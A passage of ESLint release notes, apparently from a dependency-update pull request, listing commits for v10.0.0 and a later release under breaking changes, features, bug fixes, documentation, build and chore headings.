[`8c3832a`](https://github.com/eslint/eslint/commit/8c3832adb77cd993b4a24891900d5eeaaf093cdc) chore: update [@​typescript-eslint/parser](https://github.com/typescript-eslint/parser) to ^8.56.0 ([#​20514](https://github.com/eslint/eslint/issues/20514)) (Milos Djermanovic) - [`8330d23`](https://github.com/eslint/eslint/commit/8330d238ae6adb68bb6a1c9381e38cfedd990d94) test: add tests for config-api ([#​20493](https://github.com/eslint/eslint/issues/20493)) (Milos Djermanovic) - [`37d6e91`](https://github.com/eslint/eslint/commit/37d6e91e88fa6a2ca6d8726679096acff21ba6cc) chore: remove eslint v10 prereleases from eslint-config-eslint deps ([#​20494](https://github.com/eslint/eslint/issues/20494)) (Milos Djermanovic) - [`da7cd0e`](https://github.com/eslint/eslint/commit/da7cd0e79197ad16e17052eef99df141de6dbfb1) refactor: cleanup error message templates ([#​20479](https://github.com/eslint/eslint/issues/20479)) (Francesco Trotta) - [`84fb885`](https://github.com/eslint/eslint/commit/84fb885d49ac810e79a9491276b4828b53d913e5) chore: package.json update for [@​eslint/js](https://github.com/eslint/js) release (Jenkins) - [`1f66734`](https://github.com/eslint/eslint/commit/1f667344b57c4c09b548d94bcfac1f91b6e5c63d) chore: add `eslint` to `peerDependencies` of `@eslint/js` ([#​20467](https://github.com/eslint/eslint/issues/20467)) (Milos Djermanovic) ### [`v10.0.0`](https://github.com/eslint/eslint/releases/tag/v10.0.0) [Compare Source](https://github.com/eslint/eslint/compare/v9.39.4...v10.0.0) ##### Breaking Changes - [`f9e54f4`](https://github.com/eslint/eslint/commit/f9e54f43a5e497cdfa179338b431093245cb787b) feat!: estimate rule-tester failure location ([#​20420](https://github.com/eslint/eslint/issues/20420)) (ST-DDT) - [`a176319`](https://github.com/eslint/eslint/commit/a176319d8ade1a7d9b2d7fb8f038f55a2662325f) feat!: replace `chalk` with `styleText` and add `color` to `ResultsMeta` ([#​20227](https://github.com/eslint/eslint/issues/20227)) (루밀LuMir) - [`c7046e6`](https://github.com/eslint/eslint/commit/c7046e6c1e03c4ca0eee4888a1f2eba4c6454f84) feat!: enable JSX reference tracking ([#​20152](https://github.com/eslint/eslint/issues/20152)) (Pixel998) - [`fa31a60`](https://github.com/eslint/eslint/commit/fa31a608901684fbcd9906d1907e66561d16e5aa) feat!: add `name` to configs ([#​20015](https://github.com/eslint/eslint/issues/20015)) (Kirk Waiblinger) - [`3383e7e`](https://github.com/eslint/eslint/commit/3383e7ec9028166cafc8ea7986c2f7498d0049f0) fix!: remove deprecated `SourceCode` methods ([#​20137](https://github.com/eslint/eslint/issues/20137)) (Pixel998) - [`501abd0`](https://github.com/eslint/eslint/commit/501abd0e916a35554c58b7c0365537f1fa3880ce) feat!: update dependency minimatch to v10 ([#​20246](https://github.com/eslint/eslint/issues/20246)) (renovate\[bot]) - [`ca4d3b4`](https://github.com/eslint/eslint/commit/ca4d3b40085de47561f89656a2207d09946ed45e) fix!: stricter rule tester assertions for valid test cases ([#​20125](https://github.com/eslint/eslint/issues/20125)) (唯然) - [`96512a6`](https://github.com/eslint/eslint/commit/96512a66c86402fb0538cdcb6cd30b9073f6bf3b) fix!: Remove deprecated rule context methods ([#​20086](https://github.com/eslint/eslint/issues/20086)) (Nicholas C. Zakas) - [`c69fdac`](https://github.com/eslint/eslint/commit/c69fdacdb2e886b9d965568a397aa8220db3fe90) feat!: remove eslintrc support ([#​20037](https://github.com/eslint/eslint/issues/20037)) (Francesco Trotta) - [`208b5cc`](https://github.com/eslint/eslint/commit/208b5cc34a8374ff81412b5bec2e0800eebfbd04) feat!: Use `ScopeManager#addGlobals()` ([#​20132](https://github.com/eslint/eslint/issues/20132)) (Milos Djermanovic) - [`a2ee188`](https://github.com/eslint/eslint/commit/a2ee188ea7a38a0c6155f3d39e2b00e1d0f36e14) fix!: add `uniqueItems: true` in `no-invalid-regexp` option ([#​20155](https://github.com/eslint/eslint/issues/20155)) (Tanuj Kanti) - [`a89059d`](https://github.com/eslint/eslint/commit/a89059dbf2832d417dd493ee81483227ec44e4ab) feat!: Program range span entire source text ([#​20133](https://github.com/eslint/eslint/issues/20133)) (Pixel998) - [`39a6424`](https://github.com/eslint/eslint/commit/39a6424373d915fa9de0d7b0caba9a4dc3da9b53) fix!: assert 'text' is a string across all RuleFixer methods ([#​20082](https://github.com/eslint/eslint/issues/20082)) (Pixel998) - [`f28fbf8`](https://github.com/eslint/eslint/commit/f28fbf846244e043c92b355b224d121b06140b44) fix!: Deprecate `"always"` and `"as-needed"` options of the `radix` rule ([#​20223](https://github.com/eslint/eslint/issues/20223)) (Milos Djermanovic) - [`aa3fb2b`](https://github.com/eslint/eslint/commit/aa3fb2b233e929b37220be940575f42c280e0b98) fix!: tighten `func-names` schema ([#​20119](https://github.com/eslint/eslint/issues/20119)) (Pixel998) - [`f6c0ed0`](https://github.com/eslint/eslint/commit/f6c0ed0311dcfee853367d5068c765d066e6b756) feat!: report `eslint-env` comments as errors ([#​20128](https://github.com/eslint/eslint/issues/20128)) (Francesco Trotta) - [`4bf739f`](https://github.com/eslint/eslint/commit/4bf739fb533e59f7f0a66b65f7bc80be0f37d8db) fix!: remove deprecated `LintMessage#nodeType` and `TestCaseError#type` ([#​20096](https://github.com/eslint/eslint/issues/20096)) (Pixel998) - [`523c076`](https://github.com/eslint/eslint/commit/523c076866400670fb2192a3f55dbf7ad3469247) feat!: drop support for jiti < 2.2.0 ([#​20016](https://github.com/eslint/eslint/issues/20016)) (michael faith) - [`454a292`](https://github.com/eslint/eslint/commit/454a292c95f34dad232411ddac06408e6383bb64) feat!: update `eslint:recommended` configuration ([#​20210](https://github.com/eslint/eslint/issues/20210)) (Pixel998) - [`4f880ee`](https://github.com/eslint/eslint/commit/4f880ee02992e1bf0e96ebaba679985e2d1295f1) feat!: remove `v10_*` and inactive `unstable_*` flags ([#​20225](https://github.com/eslint/eslint/issues/20225)) (sethamus) - [`f18115c`](https://github.com/eslint/eslint/commit/f18115c363a4ac7671a4c7f30ee13d57ebba330f) feat!: `no-shadow-restricted-names` report `globalThis` by default ([#​20027](https://github.com/eslint/eslint/issues/20027)) (sethamus) - [`c6358c3`](https://github.com/eslint/eslint/commit/c6358c31fbd3937b92d89be2618ffdf5a774604e) feat!: Require Node.js `^20.19.0 || ^22.13.0 || >=24` ([#​20160](https://github.com/eslint/eslint/issues/20160)) (Milos Djermanovic) ##### Features - [`bff9091`](https://github.com/eslint/eslint/commit/bff9091927811497dbf066b0e3b85ecb37d43822) feat: handle `Array.fromAsync` in `array-callback-return` ([#​20457](https://github.com/eslint/eslint/issues/20457)) (Francesco Trotta) - [`290c594`](https://github.com/eslint/eslint/commit/290c594bb50c439fb71bc75521ee5360daa8c222) feat: add `self` to `no-implied-eval` rule ([#​20468](https://github.com/eslint/eslint/issues/20468)) (sethamus) - [`43677de`](https://github.com/eslint/eslint/commit/43677de07ebd6e14bfac40a46ad749ba783c45f2) feat: fix handling of function and class expression names in `no-shadow` ([#​20432](https://github.com/eslint/eslint/issues/20432)) (Milos Djermanovic) - [`f0cafe5`](https://github.com/eslint/eslint/commit/f0cafe5f37e7765e9d8c2751b5f5d33107687009) feat: rule tester add assertion option `requireData` ([#​20409](https://github.com/eslint/eslint/issues/20409)) (fnx) - [`f7ab693`](https://github.com/eslint/eslint/commit/f7ab6937e63bc618d326710858f5861a68f80616) feat: output RuleTester test case failure index ([#​19976](https://github.com/eslint/eslint/issues/19976)) (ST-DDT) - [`7cbcbf9`](https://github.com/eslint/eslint/commit/7cbcbf9c3c2008deee7d143ae35e668e8ffbccb3) feat: add `countThis` option to `max-params` ([#​20236](https://github.com/eslint/eslint/issues/20236)) (Gerkin) - [`f148a5e`](https://github.com/eslint/eslint/commit/f148a5eaa1e89dd80ade62f0a690186b00b9f6e1) feat: add error assertion options ([#​20247](https://github.com/eslint/eslint/issues/20247)) (ST-DDT) - [`09e6654`](https://github.com/eslint/eslint/commit/09e66549ecada6dcb8c567a60faf044fce049188) feat: update error loc of `require-yield` and `no-useless-constructor` ([#​20267](https://github.com/eslint/eslint/issues/20267)) (Tanuj Kanti) ##### Bug Fixes - [`436b82f`](https://github.com/eslint/eslint/commit/436b82f3c0a8cfa2fdc17d173e95ea11d5d3ee03) fix: update eslint ([#​20473](https://github.com/eslint/eslint/issues/20473)) (renovate\[bot]) - [`1d29d22`](https://github.com/eslint/eslint/commit/1d29d22fe302443cec2a11da0816397f94af97ec) fix: detect default `this` binding in `Array.fromAsync` callbacks ([#​20456](https://github.com/eslint/eslint/issues/20456)) (Francesco Trotta) - [`727451e`](https://github.com/eslint/eslint/commit/727451eff55b35d853e0e443d0de58f4550762bf) fix: fix regression of global mode report range in `strict` rule ([#​20462](https://github.com/eslint/eslint/issues/20462)) (ntnyq) - [`e80485f`](https://github.com/eslint/eslint/commit/e80485fcd27196fa0b6f6b5c7ac8cf49ad4b079d) fix: remove fake `FlatESLint` and `LegacyESLint` exports ([#​20460](https://github.com/eslint/eslint/issues/20460)) (Francesco Trotta) - [`9eeff3b`](https://github.com/eslint/eslint/commit/9eeff3bc13813a786b8a4c3815def97c0fb646ef) fix: update esquery ([#​20423](https://github.com/eslint/eslint/issues/20423)) (cryptnix) - [`b34b938`](https://github.com/eslint/eslint/commit/b34b93852d014ebbcf3538d892b55e0216cdf681) fix: use `Error.prepareStackTrace` to estimate failing test location ([#​20436](https://github.com/eslint/eslint/issues/20436)) (Francesco Trotta) - [`51aab53`](https://github.com/eslint/eslint/commit/51aab5393b058f7cbed69041a9069b2bd106aabd) fix: update eslint ([#​20443](https://github.com/eslint/eslint/issues/20443)) (renovate\[bot]) - [`23490b2`](https://github.com/eslint/eslint/commit/23490b266276792896a0b7b43c49a1ce87bf8568) fix: handle space before colon in `RuleTester` location estimation ([#​20433](https://github.com/eslint/eslint/issues/20433)) (Francesco Trotta) - [`f244dbf`](https://github.com/eslint/eslint/commit/f244dbf2191267a4cafd08645243624baf3e8c83) fix: use `MessagePlaceholderData` type from `@eslint/core` ([#​20348](https://github.com/eslint/eslint/issues/20348)) (루밀LuMir) - [`d186f8c`](https://github.com/eslint/eslint/commit/d186f8c0747f14890e86a5a39708b052b391ddaf) fix: update eslint ([#​20427](https://github.com/eslint/eslint/issues/20427)) (renovate\[bot]) - [`2332262`](https://github.com/eslint/eslint/commit/2332262deb4ef3188b210595896bb0ff552a7e66) fix: error location should not modify error message in RuleTester ([#​20421](https://github.com/eslint/eslint/issues/20421)) (Milos Djermanovic) - [`ab99b21`](https://github.com/eslint/eslint/commit/ab99b21a6715dee1035d8f4e6d6841853eb5563f) fix: ensure `filename` is passed as third argument to `verifyAndFix()` ([#​20405](https://github.com/eslint/eslint/issues/20405)) (루밀LuMir) - [`8a60f3b`](https://github.com/eslint/eslint/commit/8a60f3bc80ad96c65feeb29886342623c630199c) fix: remove `ecmaVersion` and `sourceType` from `ParserOptions` type ([#​20415](https://github.com/eslint/eslint/issues/20415)) (Pixel998) - [`eafd727`](https://github.com/eslint/eslint/commit/eafd727a060131f7fc79b2eb5698d8d27683c3a2) fix: remove `TDZ` scope type ([#​20231](https://github.com/eslint/eslint/issues/20231)) (jaymarvelz) - [`39d1f51`](https://github.com/eslint/eslint/commit/39d1f51680d4fbade16b4d9c07ad61a87ee3b1ea) fix: correct `Scope` typings ([#​20404](https://github.com/eslint/eslint/issues/20404)) (sethamus) - [`2bd0f13`](https://github.com/eslint/eslint/commit/2bd0f13a92fb373827f16210aa4748d4885fddb1) fix: update `verify` and `verifyAndFix` types ([#​20384](https://github.com/eslint/eslint/issues/20384)) (Francesco Trotta) - [`ba6ebfa`](https://github.com/eslint/eslint/commit/ba6ebfa78de0b8522cea5ee80179887e92c6c935) fix: correct typings for `loadESLint()` and `shouldUseFlatConfig()` ([#​20393](https://github.com/eslint/eslint/issues/20393)) (루밀LuMir) - [`e7673ae`](https://github.com/eslint/eslint/commit/e7673ae096900330599680efe91f8a199a5c2e59) fix: correct RuleTester typings ([#​20105](https://github.com/eslint/eslint/issues/20105)) (Pixel998) - [`53e9522`](https://github.com/eslint/eslint/commit/53e95222af8561a8eed282fa9fd44b2f320a3c37) fix: strict removed formatters check ([#​20241](https://github.com/eslint/eslint/issues/20241)) (ntnyq) - [`b017f09`](https://github.com/eslint/eslint/commit/b017f094d4e53728f8d335b9cf8b16dc074afda3) fix: correct `no-restricted-import` messages ([#​20374](https://github.com/eslint/eslint/issues/20374)) (Francesco Trotta) ##### Documentation - [`e978dda`](https://github.com/eslint/eslint/commit/e978ddaab7e6a3c38b4a2afa721148a6ef38f29a) docs: Update README (GitHub Actions Bot) - [`4cecf83`](https://github.com/eslint/eslint/commit/4cecf8393ae9af18c4cfd50621115eb23b3d0cb6) docs: Update README (GitHub Actions Bot) - [`c79f0ab`](https://github.com/eslint/eslint/commit/c79f0ab2e2d242a93b08ff2f6a0712e2ef60b7b8) docs: Update README (GitHub Actions Bot) - [`773c052`](https://github.com/eslint/eslint/commit/773c0527c72c09fb5e63c2036b5cb9783f1f04d3) docs: Update README (GitHub Actions Bot) - [`f2962e4`](https://github.com/eslint/eslint/commit/f2962e46a0e8ee8e04d76e9d899f6a7c73a646f1) docs: document `meta.docs.frozen` property ([#​20475](https://github.com/eslint/eslint/issues/20475)) (Pixel998) - [`8e94f58`](https://github.com/eslint/eslint/commit/8e94f58bebfd854eed814a39e19dea4e3c3ee4a3) docs: fix broken anchor links from gerund heading updates ([#​20449](https://github.com/eslint/eslint/issues/20449)) (Copilot) - [`1495654`](https://github.com/eslint/eslint/commit/14956543d42ab542f72820f38941d0bcc39a1fbb) docs: Update README (GitHub Actions Bot) - [`0b8ed5c`](https://github.com/eslint/eslint/commit/0b8ed5c0aa4222a9b6b185c605cfedaef4662dcb) docs: document support for `:is` selector alias ([#​20454](https://github.com/eslint/eslint/issues/20454)) (sethamus) - [`1c4b33f`](https://github.com/eslint/eslint/commit/1c4b33fe8620dcaafbe6e8f4e9515b624476548c) docs: Document policies about ESM-only dependencies ([#​20448](https://github.com/eslint/eslint/issues/20448)) (Milos Djermanovic) - [`3e5d38c`](https://github.com/eslint/eslint/commit/3e5d38cdd5712bef50d440585b0f6669a2e9a9b9) docs: add missing indentation space in rule example ([#​20446](https://github.com/eslint/eslint/issues/20446)) (fnx) - [`63a0c7c`](https://github.com/eslint/eslint/commit/63a0c7c84bf5b12357893ea2bf0482aa3c855bac) docs: Update README (GitHub Actions Bot) - [`65ed0c9`](https://github.com/eslint/eslint/commit/65ed0c94e7cd1e3f882956113228311d8c7b3463) docs: Update README (GitHub Actions Bot) - [`b0e4717`](https://github.com/eslint/eslint/commit/b0e4717d6619ffd02913cf3633b44d8e6953d938) docs: \[no-await-in-loop] Expand inapplicability ([#​20363](https://github.com/eslint/eslint/issues/20363)) (Niklas Hambüchen) - [`fca421f`](https://github.com/eslint/eslint/commit/fca421f6a4eecd52f2a7ae5765bd9008f62f9994) docs: Update README (GitHub Actions Bot) - [`d925c54`](https://github.com/eslint/eslint/commit/d925c54f045b2230d3404e8aa18f4e2860a35e1d) docs: update config syntax in `no-lone-blocks` ([#​20413](https://github.com/eslint/eslint/issues/20413)) (Pixel998) - [`7d5c95f`](https://github.com/eslint/eslint/commit/7d5c95f281cb88868f4e09ca07fbbc6394d78c41) docs: remove redundant `sourceType: "module"` from rule examples ([#​20412](https://github.com/eslint/eslint/issues/20412)) (Pixel998) - [`02e7e71`](https://github.com/eslint/eslint/commit/02e7e7126366fc5eeffb713f865d80a759dc14b0) docs: correct `.mts` glob pattern in files with extensions example ([#​20403](https://github.com/eslint/eslint/issues/20403)) (Ali Essalihi) - [`264b981`](https://github.com/eslint/eslint/commit/264b981101a3cf0c12eba200ac64e5523186a89f) docs: Update README (GitHub Actions Bot) - [`5a4324f`](https://github.com/eslint/eslint/commit/5a4324f38e7ce370038351ef7412dcf8548c105e) docs: clarify `"local"` option of `no-unused-vars` ([#​20385](https://github.com/eslint/eslint/issues/20385)) (Milos Djermanovic) - [`e593aa0`](https://github.com/eslint/eslint/commit/e593aa0fd29f51edea787815ffc847aa723ef1f8) docs: improve clarity, grammar, and wording in documentation site README ([#​20370](https://github.com/eslint/eslint/issues/20370)) (Aditya) - [`3f5062e`](https://github.com/eslint/eslint/commit/3f5062ed5f27eb25414faced2478ae076906874e) docs: Add messages property to rule meta documentation ([#​20361](https://github.com/eslint/eslint/issues/20361)) (Sabya Sachi) - [`9e5a5c2`](https://github.com/eslint/eslint/commit/9e5a5c2b6b368cdacd678eabf36b441bd8bb726c) docs: remove `Examples` headings from rule docs ([#​20364](https://github.com/eslint/eslint/issues/20364)) (Milos Djermanovic) - [`194f488`](https://github.com/eslint/eslint/commit/194f488a8dc97850485afe704d2a64096582f96d) docs: Update README (GitHub Actions Bot) - [`0f5a94a`](https://github.com/eslint/eslint/commit/0f5a94a84beee19f376025c74f703f275d52c94b) docs: \[class-methods-use-this] explain purpose of rule ([#​20008](https://github.com/eslint/eslint/issues/20008)) (Kirk Waiblinger) - [`df5566f`](https://github.com/eslint/eslint/commit/df5566f826d9f5740546e473aa6876b1f7d2f12c) docs: add Options section to all rule docs ([#​20296](https://github.com/eslint/eslint/issues/20296)) (sethamus) - [`adf7a2b`](https://github.com/eslint/eslint/commit/adf7a2b202743a98edc454890574292dd2b34837) docs: no-unsafe-finally note for generator functions ([#​20330](https://github.com/eslint/eslint/issues/20330)) (Tom Pereira) - [`ef7028c`](https://github.com/eslint/eslint/commit/ef7028c9688dc931051a4217637eb971efcbd71b) docs: Update README (GitHub Actions Bot) - [`fbae5d1`](https://github.com/eslint/eslint/commit/fbae5d18854b30ea3b696672c7699cef3ec92140) docs: consistently use "v10.0.0" in migration guide ([#​20328](https://github.com/eslint/eslint/issues/20328)) (Pixel998) - [`778aa2d`](https://github.com/eslint/eslint/commit/778aa2d83e1ef1e2bd1577ee976c5a43472a3dbe) docs: ignoring default file patterns ([#​20312](https://github.com/eslint/eslint/issues/20312)) (Tanuj Kanti) - [`4b5dbcd`](https://github.com/eslint/eslint/commit/4b5dbcdae52c1c16293dc68028cab18ed2504841) docs: reorder v10 migration guide ([#​20315](https://github.com/eslint/eslint/issues/20315)) (Milos Djermanovic) - [`5d84a73`](https://github.com/eslint/eslint/commit/5d84a7371d01ead1b274600c055fe49150d487f1) docs: Update README (GitHub Actions Bot) - [`37c8863`](https://github.com/eslint/eslint/commit/37c8863088a2d7e845d019f68a329f53a3fe2c35) docs: fix incorrect anchor link in v10 migration guide ([#​20299](https://github.com/eslint/eslint/issues/20299)) (Pixel998) - [`077ff02`](https://github.com/eslint/eslint/commit/077ff028b6ce036da091d2f7ed8c606c9d017468) docs: add migrate-to-10.0.0 doc ([#​20143](https://github.com/eslint/eslint/issues/20143)) (唯然) - [`3822e1b`](https://github.com/eslint/eslint/commit/3822e1b768bb4a64b72b73b5657737a6ee5c8afe) docs: Update README (GitHub Actions Bot) ##### Build Related - [`9f08712`](https://github.com/eslint/eslint/commit/9f0871236e90ec78bcdbfa352cc1363b4bae5596) Build: changelog update for 10.0.0-rc.2 (Jenkins) - [`1e2c449`](https://github.com/eslint/eslint/commit/1e2c449701524b426022fde19144b1d22d8197b0) Build: changelog update for 10.0.0-rc.1 (Jenkins) - [`c4c72a8`](https://github.com/eslint/eslint/commit/c4c72a8d996dda629e85e78a6ef5417242594b5d) Build: changelog update for 10.0.0-rc.0 (Jenkins) - [`7e4daf9`](https://github.com/eslint/eslint/commit/7e4daf93d255ed343d68e999aad167bb20e5a96b) Build: changelog update for 10.0.0-beta.0 (Jenkins) - [`a126a2a`](https://github.com/eslint/eslint/commit/a126a2ab136406017f2dac2d7632114e37e62dc2) build: add .scss files entry to knip ([#​20389](https://github.com/eslint/eslint/issues/20389)) (Francesco Trotta) - [`f5c0193`](https://github.com/eslint/eslint/commit/f5c01932f69189b260646d60b28011c55870e65d) Build: changelog update for 10.0.0-alpha.1 (Jenkins) - [`165326f`](https://github.com/eslint/eslint/commit/165326f0469dd6a9b33598a6fceb66336bb2deb5) Build: changelog update for 10.0.0-alpha.0 (Jenkins) ##### Chores - [`1ece282`](https://github.com/eslint/eslint/commit/1ece282c2286b5dc187ece2a793dbd8798f20bd7) chore: ignore `/docs/v9.x` in link checker ([#​20452](https://github.com/eslint/eslint/issues/20452)) (Milos Djermanovic) - [`034e139`](https://github.com/eslint/eslint/commit/034e1397446205e83eb341354605380195c88633) ci: add type integration test for `@html-eslint/eslint-plugin` ([#​20345](https://github.com/eslint/eslint/issues/20345)) (sethamus) - [`f3fbc2f`](https://github.com/eslint/eslint/commit/f3fbc2f60cbe2c718364feb8c3fc0452c0df3c56) chore: set `@eslint/js` version to 10.0.0 to skip releasing it ([#​20466](https://github.com/eslint/eslint/issues/20466)) (Milos Djermanovic) - [`afc0681`](https://github.com/eslint/eslint/commit/afc06817bbd0625c7b0a46bdc81c38dab0c99441) chore: remove scopeManager.addGlobals patch for typescript-eslint parser ([#​20461](https://github.com/eslint/eslint/issues/20461)) (fnx) - [`3e5a173`](https://github.com/eslint/eslint/commit/3e5a173053fe0bb3d0f29aff12eb2c19ae21aa36) refactor: use types from `@eslint/plugin-kit` ([#​20435](https://github.com/eslint/eslint/issues/20435)) (Pixel998) - [`11644b1`](https://github.com/eslint/eslint/commit/11644b1dc2bdf4c4f3a97901932e5f25c9f60775) ci: rename workflows ([#​20463](https://github.com/eslint/eslint/issues/20463)) (Milos Djermanovic) - [`2d14173`](https://github.com/eslint/eslint/commit/2d14173729ae75fe562430dd5e37c457f44bc7ac) chore: fix typos in docs and comments ([#​20458](https://github.com/eslint/eslint/issues/20458)) (o-m12a) - [`6742f92`](https://github.com/eslint/eslint/commit/6742f927ba6afb1bce6f64b9b072a1a11dbf53c4) test: add endLine/endColumn to invalid test case in no-alert ([#​20441](https://github.com/eslint/eslint/issues/20441)) (경하) - [`3e22c82`](https://github.com/eslint/eslint/commit/3e22c82a87f44f7407ff75b17b26f1ceed3edd14) test: add missing location data to no-template-curly-in-string tests ([#​20440](https://github.com/eslint/eslint/issues/20440)) (Haeun Kim) - [`b4b3127`](https://github.com/eslint/eslint/commit/b4b3127f8542c599ce2dea804b6582ebc40c993d) chore: package.json update for [@​eslint/js](https://github.com/eslint/js) release (Jenkins) - [`f658419`](https://github.com/eslint/eslint/commit/f6584191cb5cabd62f6a197339a91e1f9b3f8432) refactor: remove `raw` parser option from JS language ([#​20416](https://github.com/eslint/eslint/issues/20416)) (Pixel998) - [`2c3efb7`](https://github.com/eslint/eslint/commit/2c3efb728b294b74a240ec24c7be8137a31cf5f0) chore: remove `category` from type test fixtures ([#​20417](https://github.com/eslint/eslint/issues/20417)) (Pixel998) - [`36193fd`](https://github.com/eslint/eslint/commit/36193fd9ad27764d8e4a24ce7c7bbeeaf5d4a6ba) chore: remove `category` from formatter test fixtures ([#​20418](https://github.com/eslint/eslint/issues/20418)) (Pixel998) - [`e8d203b`](https://github.com/eslint/eslint/commit/e8d203b0d9f66e55841863f90d215fd83b7eee0f) chore: add JSX language tag validation to `check-rule-examples` ([#​20414](https://github.com/eslint/eslint/issues/20414)) (Pixel998) - [`bc465a1`](https://github.com/eslint/eslint/commit/bc465a1e9d955b6e53a45d1b5da7c632dae77262) chore: pin dependencies ([#​20397](https://github.com/eslint/eslint/issues/20397)) (renovate\[bot]) - [`703f0f5`](https://github.com/eslint/eslint/commit/703f0f551daea28767e5a68a00e335928919a7ff) test: replace deprecated rules in `linter` tests ([#​20406](https://github.com/eslint/eslint/issues/20406)) (루밀LuMir) - [`ba71baa`](https://github.com/eslint/eslint/commit/ba71baa87265888b582f314163df1d727441e2f1) test: enable `strict` mode in type tests ([#​20398](https://github.com/eslint/eslint/issues/20398)) (루밀LuMir) - [`f9c4968`](https://github.com/eslint/eslint/commit/f9c49683a6d69ff0b5425803955fc226f7e05d76) refactor: remove `lib/linter/rules.js` ([#​20399](https://github.com/eslint/eslint/issues/20399)) (Francesco Trotta) - [`6f1c48e`](https://github.com/eslint/eslint/commit/6f1c48e5e7f8195f7796ea04e756841391ada927) chore: updates for v9.39.2 release (Jenkins) - [`54bf0a3`](https://github.com/eslint/eslint/commit/54bf0a3646265060f5f22faef71ec840d630c701) ci: create package manager test ([#​20392](https://github.com/eslint/eslint/issues/20392)) (루밀LuMir) - [`3115021`](https://github.com/eslint/eslint/commit/3115021439490d1ed12da5804902ebbf8a5e574b) refactor: simplify JSDoc comment detection logic ([#​20360](https://github.com/eslint/eslint/issues/20360)) (Pixel998) - [`4345b17`](https://github.com/eslint/eslint/commit/4345b172a81e1394579ec09df51ba460b956c3b5) chore: update `@eslint-community/regexpp` to `4.12.2` ([#​20366](https://github.com/eslint/eslint/issues/20366)) (루밀LuMir) - [`772c9ee`](https://github.com/eslint/eslint/commit/772c9ee9b65b6ad0be3e46462a7f93c37578cfa8) chore: update dependency [@​eslint/eslintrc](https://github.com/eslint/eslintrc) to ^3.3.3 ([#​20359](https://github.com/eslint/eslint/issues/20359)) (renovate\[bot]) - [`0b14059`](https://github.com/eslint/eslint/commit/0b14059491d830a49b3577931f4f68fbcfce6be5) chore: package.json update for [@​eslint/js](https://github.com/eslint/js) release (Jenkins) - [`d6e7bf3`](https://github.com/eslint/eslint/commit/d6e7bf3064be01d159d6856e3718672c6a97a8e1) ci: bump actions/checkout from 5 to 6 ([#​20350](https://github.com/eslint/eslint/issues/20350)) (dependabot\[bot]) - [`139d456`](https://github.com/eslint/eslint/commit/139d4567d4afe3f1e1cdae21769d5e868f90ef0d) chore: require mandatory headers in rule docs ([#​20347](https://github.com/eslint/eslint/issues/20347)) (Milos Djermanovic) - [`3b0289c`](https://github.com/eslint/eslint/commit/3b0289c7b605b2d94fe2d0c347d07eea4b6ba1d4) chore: remove unused `.eslintignore` and test fixtures ([#​20316](https://github.com/eslint/eslint/issues/20316)) (Pixel998) - [`a463e7b`](https://github.com/eslint/eslint/commit/a463e7bea0d18af55e5557e33691e4b0685d9523) chore: update dependency js-yaml to v4 \[security] ([#​20319](https://github.com/eslint/eslint/issues/20319)) (renovate\[bot]) - [`ebfe905`](https://github.com/eslint/eslint/commit/ebfe90533d07a7020a5c63b93763fe537120f61f) chore: remove redundant rules from eslint-config-eslint ([#​20327](https://github.com/eslint/eslint/issues/20327)) (Milos Djermanovic) - [`88dfdb2`](https://github.com/eslint/eslint/commit/88dfdb23ee541de4e9c3aa5d8a152c5980f6cc3f) test: add regression tests for message placeholder interpolation ([#​20318](https://github.com/eslint/eslint/issues/20318)) (fnx) - [`6ed0f75`](https://github.com/eslint/eslint/commit/6ed0f758ff460b7a182c8d16b0487ae707e43cc9) chore: skip type checking in `eslint-config-eslint` ([#​20323](https://github.com/eslint/eslint/issues/20323)) (Francesco Trotta) - [`1e2cad5`](https://github.com/eslint/eslint/commit/1e2cad5f6fa47ed6ed89d2a29798dda926d50990) chore: package.json update for [@​eslint/js](https://github.com/eslint/js) release (Jenkins) - [`9da2679`](https://github.com/eslint/eslint/commit/9da26798483270a2c3c490c41cbd8f0c28edf75a) chore: update `@eslint/*` dependencies ([#​20321](https://github.com/eslint/eslint/issues/20321)) (Milos Djermanovic) - [`0439794`](https://github.com/eslint/eslint/commit/043979418161e1c17becef31b1dd5c6e1b031e98) refactor: use types from [@​eslint/core](https://github.com/eslint/core) ([#​20235](https://github.com/eslint/eslint/issues/20235)) (jaymarvelz) - [`cb51ec2`](https://github.com/eslint/eslint/commit/cb51ec2d6d3b729bf02a5e6b58b236578c6cce42) test: cleanup `SourceCode#traverse` tests ([#​20289](https://github.com/eslint/eslint/issues/20289)) (Milos Djermanovic) - [`897a347`](https://github.com/eslint/eslint/commit/897a3471d6da073c1a179fa84f7a3fe72973ec45) chore: remove restriction for `type` in rule tests ([#​20305](https://github.com/eslint/eslint/issues/20305)) (Pixel998) - [`d972098`](https://github.com/eslint/eslint/commit/d9720988579734da7323fbacca4c67058651d6ff) chore: ignore prettier updates in renovate to keep in sync with trunk ([#​20304](https://github.com/eslint/eslint/issues/20304)) (Pixel998) - [`a086359`](https://github.com/eslint/eslint/commit/a0863593872fe01b5dd0e04c682450c26ae40ac8) chore: remove redundant `fast-glob` dev-dependency ([#​20301](https://github.com/eslint/eslint/issues/20301)) (루밀LuMir) - [`564b302`](https://github.com/eslint/eslint/commit/564b30215c3c1aba47bc29f948f11db5c824cacd) chore: install `prettier` as a dev dependency ([#​20302](https://github.com/eslint/eslint/issues/20302)) (michael faith) - [`8257b57`](https://github.com/eslint/eslint/commit/8257b5729d6a26f88b079aa389df4ecea4451a80) refactor: correct regex for `eslint-plugin/report-message-format` ([#​20300](https://github.com/eslint/eslint/issues/20300)) (루밀LuMir) - [`e251671`](https://github.com/eslint/eslint/commit/e2516713bc9ae62117da3f490d9cb6a9676f44fe) refactor: extract assertions in RuleTester ([#​20135](https://github.com/eslint/eslint/issues/20135)) (唯然) - [`2e7f25e`](https://github.com/eslint/eslint/commit/2e7f25e18908e66d9bd1a4dc016709e39e19a24d) chore: add `legacy-peer-deps` to `.npmrc` ([#​20281](https://github.com/eslint/eslint/issues/20281)) (Milos Djermanovic) - [`39c638a`](https://github.com/eslint/eslint/commit/39c638a9aeb7ddc353684d536bbf69d1d39380bd) chore: update eslint-config-eslint dependencies for v10 prereleases ([#​20278](https://github.com/eslint/eslint/issues/20278)) (Milos Djermanovic) - [`8533b3f`](https://github.com/eslint/eslint/commit/8533b3fa281e6ecc481083ee83e9c34cae22f31c) chore: update dependency [@​eslint/json](https://github.com/eslint/json) to ^0.14.0 ([#​20288](https://github.com/eslint/eslint/issues/20288)) (renovate\[bot]) - [`796ddf6`](https://github.com/eslint/eslint/commit/796ddf6db5c8fe3e098aa3198128f8ce3c58f8e0) chore: update dependency [@​eslint/js](https://github.com/eslint/js) to ^9.39.1 